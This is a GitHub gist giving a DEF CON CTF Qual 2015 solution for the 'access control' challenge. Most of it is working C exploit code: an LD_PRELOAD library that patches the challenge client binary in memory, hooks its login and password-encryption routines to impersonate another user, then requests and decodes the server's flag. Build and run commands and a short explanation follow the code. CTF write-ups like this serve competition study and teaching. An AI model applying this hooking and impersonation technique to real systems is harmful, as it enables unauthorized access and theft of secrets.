Skip to content

Instantly share code, notes, and snippets.

@shinh
Last active August 29, 2015 14:21
Show Gist options
  • Save shinh/19d448d47ba2b5492326 to your computer and use it in GitHub Desktop.
Save shinh/19d448d47ba2b5492326 to your computer and use it in GitHub Desktop.
DEF CON CTF Qual 2015 access control
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
int (*g_send_line)(const char*);
int (*g_enc_pass)(const char* i, char* o);
//#define USER "selir"
//#define USER "gynophage"
//#define USER "jymbolia"
//#define USER "mrvito"
//#define USER "sirgoon"
#define USER "duchess"
//#define USER "deadwood"
int twice = 0;
int send_key(const char* p) {
fprintf(stderr, "intercepted key: %s\n", p);
return g_send_line(p);
}
int send_user(const char* p) {
if (twice) {
send(3, "list users\n", 11, 0);
send(3, "print key\n", 10, 0);
while (1) {
char buf[4096];
int r = recv(3, buf, 4095, 0);
fprintf(stderr, "receive %d\n", r);
if (r == 0)
break;
write(1, buf, r);
if (r == 25) {
char b[10] = {};
memcpy(b, buf + 11, 5);
fprintf(stderr, "chal: %s\n", b);
memcpy((void*)0x804b46c, buf + 11, 5);
*(char*)0x804b471 = 0;
fprintf(stderr, "chal: %s\n", 0x804b46c);
*(int*)0x804b04c = 7;
((void(*)())0x8048c1d)();
}
}
exit(0);
}
twice++;
fprintf(stderr, "original user: %s\n", p);
return g_send_line(USER "\n");
}
int enc_pass(const char* i, char* o) {
fprintf(stderr, "original pass: %s\n", i);
return g_enc_pass(USER, o);
}
void hook(long addr, void* fn) {
long* p = (long*)(addr + 1);
*p = (long)fn - (addr + 5);
}
__attribute__((constructor)) static void init() {
fprintf(stderr, "adding hooks!\n");
int r = mprotect((void*)0x08048000, 0x4000, PROT_READ | PROT_WRITE | PROT_EXEC);
if (r < 0)
abort();
g_send_line = (int (*)(const char*))0x8048e3e;
g_enc_pass = (int (*)(const char* i, char* o))0x8048eab;
hook(0x8048945, send_user);
hook(0x80489ac, enc_pass);
hook(0x8048c9c, send_key);
}
I didn't want to understand the protocol and how to encrypt password,
so I have just reused the client binary. I injected a few hooks by
LD_PRELOAD and changed the name of user. After the hooked client gets
logged in, the hooked function asks the server to send the encrypted
flag, and asks the original client binary to decode the flag by
jumping to 0x8048c1d.
$ gcc -m32 -std=gnu99 -g -o cl_redirect.so cl_redirect.c -shared -fPIC
$ LD_PRELOAD=./cl_redirect.so ./client_197010ce28dffd35bf00ffc56e3aeb9f XXX.XXX.XXX.XXX
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment